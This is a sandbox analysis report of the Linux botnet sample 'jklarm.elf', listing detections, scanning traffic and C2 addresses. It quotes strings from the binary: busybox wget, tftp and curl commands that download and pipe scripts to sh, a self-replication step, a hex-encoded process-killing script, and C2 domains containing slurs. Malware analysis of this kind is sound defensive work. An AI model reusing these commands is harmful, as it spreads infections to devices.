Linux Analysis Report
jklarm.elf

Overview

General Information

Sample name: jklarm.elf
Analysis ID: 1543100
MD5: 6c856517fb04bdf104d0d5f50288f536
SHA1: 8a9a916c2ca4df6fe8be85aa922cb7fbe6cd51e3
SHA256: 95ecbcb13b7e6b33fc02a5b60482ed3d811a845a5c7092c3dd4608d4d3dc09c2
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: jklarm.elf Virustotal: Detection: 58% Perma Link
Source: jklarm.elf ReversingLabs: Detection: 55%
Source: jklarm.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic TCP traffic: 192.168.2.15:55566 -> 45.156.86.24:38241
Source: global traffic TCP traffic: 192.168.2.15:53380 -> 185.150.24.67:38241
Source: /tmp/jklarm.elf (PID: 5529) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 51.173.104.147
Source: unknown TCP traffic detected without corresponding DNS query: 124.68.74.97
Source: unknown TCP traffic detected without corresponding DNS query: 51.173.104.147
Source: unknown TCP traffic detected without corresponding DNS query: 63.240.73.227
Source: unknown TCP traffic detected without corresponding DNS query: 124.68.74.97
Source: unknown TCP traffic detected without corresponding DNS query: 63.240.73.227
Source: unknown TCP traffic detected without corresponding DNS query: 149.108.137.203
Source: unknown TCP traffic detected without corresponding DNS query: 149.108.137.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.0.90.180
Source: unknown TCP traffic detected without corresponding DNS query: 204.0.90.180
Source: unknown TCP traffic detected without corresponding DNS query: 68.104.132.105
Source: unknown TCP traffic detected without corresponding DNS query: 131.187.5.127
Source: unknown TCP traffic detected without corresponding DNS query: 68.104.132.105
Source: unknown TCP traffic detected without corresponding DNS query: 200.74.44.29
Source: unknown TCP traffic detected without corresponding DNS query: 131.187.5.127
Source: unknown TCP traffic detected without corresponding DNS query: 187.128.69.61
Source: unknown TCP traffic detected without corresponding DNS query: 200.74.44.29
Source: unknown TCP traffic detected without corresponding DNS query: 138.140.133.174
Source: unknown TCP traffic detected without corresponding DNS query: 187.128.69.61
Source: unknown TCP traffic detected without corresponding DNS query: 171.142.37.36
Source: unknown TCP traffic detected without corresponding DNS query: 138.140.133.174
Source: unknown TCP traffic detected without corresponding DNS query: 3.97.120.155
Source: unknown TCP traffic detected without corresponding DNS query: 171.142.37.36
Source: unknown TCP traffic detected without corresponding DNS query: 220.48.85.5
Source: unknown TCP traffic detected without corresponding DNS query: 3.97.120.155
Source: unknown TCP traffic detected without corresponding DNS query: 220.15.188.113
Source: unknown TCP traffic detected without corresponding DNS query: 12.127.229.220
Source: unknown TCP traffic detected without corresponding DNS query: 220.48.85.5
Source: unknown TCP traffic detected without corresponding DNS query: 30.43.29.80
Source: unknown TCP traffic detected without corresponding DNS query: 220.15.188.113
Source: unknown TCP traffic detected without corresponding DNS query: 12.127.229.220
Source: unknown TCP traffic detected without corresponding DNS query: 30.43.29.80
Source: unknown TCP traffic detected without corresponding DNS query: 5.33.54.208
Source: unknown TCP traffic detected without corresponding DNS query: 99.191.213.174
Source: unknown TCP traffic detected without corresponding DNS query: 5.33.54.208
Source: unknown TCP traffic detected without corresponding DNS query: 12.20.55.211
Source: unknown TCP traffic detected without corresponding DNS query: 99.191.213.174
Source: unknown TCP traffic detected without corresponding DNS query: 83.129.247.70
Source: unknown TCP traffic detected without corresponding DNS query: 12.20.55.211
Source: unknown TCP traffic detected without corresponding DNS query: 155.215.187.170
Source: unknown TCP traffic detected without corresponding DNS query: 3.99.20.155
Source: unknown TCP traffic detected without corresponding DNS query: 83.129.247.70
Source: unknown TCP traffic detected without corresponding DNS query: 69.226.134.116
Source: unknown TCP traffic detected without corresponding DNS query: 155.215.187.170
Source: unknown TCP traffic detected without corresponding DNS query: 3.99.20.155
Source: unknown TCP traffic detected without corresponding DNS query: 157.243.16.83
Source: unknown TCP traffic detected without corresponding DNS query: 135.26.40.127
Source: unknown TCP traffic detected without corresponding DNS query: 69.226.134.116
Source: unknown TCP traffic detected without corresponding DNS query: 28.102.232.181
Source: unknown TCP traffic detected without corresponding DNS query: 157.243.16.83
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: jklarm.elf String found in binary or memory: http:///curl.sh
Source: jklarm.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/100@14/0
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5560/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5560/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5550/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5550/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5561/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5561/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5551/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5551/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5562/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5562/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5541/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5541/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5552/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5552/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5563/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5563/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5553/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5553/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5564/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5564/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5554/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5554/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5565/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5565/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5618/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5618/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5555/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5555/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5556/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5556/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5557/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5557/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5558/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5558/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5559/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5559/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5529) Queries kernel information via 'uname': Jump to behavior
Source: jklarm.elf, 5529.1.0000563744d33000.0000563744e61000.rw-.sdmp, jklarm.elf, 5533.1.0000563744d33000.0000563744e61000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm.elf, 5529.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp, jklarm.elf, 5533.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: jklarm.elf, 5529.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp, jklarm.elf, 5533.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp Binary or memory string: yx86_64/usr/bin/qemu-arm/tmp/jklarm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm.elf
Source: jklarm.elf, 5529.1.0000563744d33000.0000563744e61000.rw-.sdmp, jklarm.elf, 5533.1.0000563744d33000.0000563744e61000.rw-.sdmp Binary or memory string: D7V!/etc/qemu-binfmt/arm
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs